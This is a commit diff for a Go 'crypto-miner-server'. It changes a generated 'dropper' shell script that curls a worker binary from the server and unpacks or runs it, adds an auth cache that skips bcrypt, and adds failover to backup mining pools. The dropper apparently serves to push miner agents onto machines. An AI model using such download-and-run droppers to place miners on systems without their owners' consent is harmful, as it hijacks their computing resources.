fix: 3 regressions from previous session - dropper expansion, pool backup initial connect, bcrypt auth cache

server/internal/api/dropper_handler.go

@@ -120,7 +120,8 @@ TMPDIR="$(mktemp -d)"
 DEST="$TMPDIR/worker"
 
 # Download and verify we got a real file, not a 404 page.
-HTTP_CODE="$(curl -sL -w '%%{http_code}' -o "$DEST" '%[1]s/get?os=$OS')"
+# Note: double-quotes around URL so $OS is expanded by the shell.
+HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS")"
 if [ "$HTTP_CODE" != "200" ]; then
   cat "$DEST" >&2
   die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
@@ -129,9 +130,8 @@ fi
 FILESIZE="$(wc -c < "$DEST" | tr -d ' ')"
 [ "$FILESIZE" -gt 1024 ] || die "Download too small ($FILESIZE bytes) — something went wrong."
 
-# Universal bundle (ZIP) or raw binary?
+# Universal bundle (ZIP) or raw binary?  'file' is available on all platforms.
-MAGIC="$(head -c 2 "$DEST" | od -An -tx1 | tr -d ' \n')"
+if file "$DEST" 2>/dev/null | grep -qi "zip\|archive"; then
-if [ "$MAGIC" = "504b" ]; then
   echo "[*] Extracting universal bundle..."
   unzip -q "$DEST" -d "$TMPDIR/bundle"
   cd "$TMPDIR/bundle"

server/internal/api/router.go

@@ -2,6 +2,7 @@ package api
 
 import (
 	"crypto/rand"
+	"crypto/sha256"
 	"crypto/subtle"
 	"encoding/hex"
 	"encoding/json"
@@ -12,6 +13,7 @@ import (
 	"path/filepath"
 	"strings"
 	"sync"
+	"time"
 
 	"crypto-miner-server/internal/builder"
 	"crypto-miner-server/internal/db"
@@ -22,6 +24,45 @@ import (
 	"golang.org/x/crypto/bcrypt"
 )
 
+// authSessionCache avoids running bcrypt on every API request.
+// Key: SHA-256(user+":"+password) hex — value: expiry time.
+// Entries are valid for authCacheTTL after the last successful login.
+// Bcrypt only runs on cache miss or expiry.
+var (
+	authSessionCache   = map[string]time.Time{}
+	authSessionCacheMu sync.Mutex
+	authCacheTTL       = 5 * time.Minute
+)
+
+func authCacheKey(user, pass string) string {
+	h := sha256.Sum256([]byte(user + ":" + pass))
+	return hex.EncodeToString(h[:])
+}
+
+func authCacheHit(user, pass string) bool {
+	key := authCacheKey(user, pass)
+	authSessionCacheMu.Lock()
+	defer authSessionCacheMu.Unlock()
+	exp, ok := authSessionCache[key]
+	return ok && time.Now().Before(exp)
+}
+
+func authCacheSet(user, pass string) {
+	key := authCacheKey(user, pass)
+	authSessionCacheMu.Lock()
+	authSessionCache[key] = time.Now().Add(authCacheTTL)
+	// Prune expired entries opportunistically.
+	if len(authSessionCache) > 512 {
+		now := time.Now()
+		for k, v := range authSessionCache {
+			if now.After(v) {
+				delete(authSessionCache, k)
+			}
+		}
+	}
+	authSessionCacheMu.Unlock()
+}
+
 var (
 	// authUsers is populated from data/users.json on startup.  On the very first
 	// run (no users.json) a random password is generated, saved, and printed to
@@ -209,6 +250,9 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 			return
 		}
 
+		// Fast path — skip bcrypt if this credential pair was recently validated.
+		// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
+		if !authCacheHit(user, pass) {
 			usersMu.RLock()
 			storedHash, exists := authUsers[user]
 			usersMu.RUnlock()
@@ -218,6 +262,9 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 				http.Error(w, "Unauthorized", http.StatusUnauthorized)
 				return
 			}
+			// Credential verified — cache it for the next few minutes.
+			authCacheSet(user, pass)
+		}
 
 		next.ServeHTTP(w, r)
 	})

server/internal/pool/manager.go

@@ -7,6 +7,7 @@ import (
 	"time"
 )
 
+
 // Manager maintains Stratum connections keyed by forged pool + wallet settings.
 type Manager struct {
 	mu             sync.RWMutex
@@ -46,19 +47,48 @@ func poolKey(cfg *Config) string {
 	return fmt.Sprintf("%s:%d:tls=%v:wallet=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet)
 }
 
-// EnsurePoolWithBackups is like EnsurePool but also registers backup configs
+// EnsurePoolWithBackups connects to cfg and registers backup pool configs for
-// that the proxy will rotate through on reconnect.
+// automatic failover on reconnect.  If the primary cfg is unreachable it tries
+// each backup in order at initial connect time as well — restoring the behaviour
+// that existed before the reconnect-rotation refactor.
 func (m *Manager) EnsurePoolWithBackups(cfg *Config, backups []Config) (*Proxy, error) {
+	// Try primary first.
 	p, err := m.EnsurePool(cfg)
-	if err != nil {
+	if err == nil {
-		return nil, err
+		// Primary connected — register backups for later reconnect rotation.
-	}
 		if len(backups) > 0 {
 			p.SetBackupConfigs(backups)
 		}
 		return p, nil
 	}
 
+	// Primary failed — work through the backup list.
+	log.Printf("[PoolManager] Primary pool unreachable (%v), trying %d backup(s)…", err, len(backups))
+	for i, bp := range backups {
+		if bp.Host == "" || bp.Port <= 0 {
+			continue
+		}
+		bpCopy := bp // local copy so we can take its address
+		p2, err2 := m.EnsurePool(&bpCopy)
+		if err2 == nil {
+			log.Printf("[PoolManager] Connected to backup pool #%d (%s:%d)", i+1, bp.Host, bp.Port)
+			// Register remaining backups (skip the one we just connected to).
+			remaining := make([]Config, 0, len(backups))
+			remaining = append(remaining, *cfg) // original primary becomes a backup
+			for j, b := range backups {
+				if j != i {
+					remaining = append(remaining, b)
+				}
+			}
+			p2.SetBackupConfigs(remaining)
+			return p2, nil
+		}
+		log.Printf("[PoolManager] Backup pool #%d (%s:%d) also failed: %v", i+1, bp.Host, bp.Port, err2)
+	}
+
+	return nil, fmt.Errorf("all pool endpoints unreachable (primary: %w)", err)
+}
+
 // EnsurePool returns a connected proxy for the forged pool settings, starting one if needed.
 func (m *Manager) EnsurePool(cfg *Config) (*Proxy, error) {
 	if cfg == nil || cfg.Host == "" {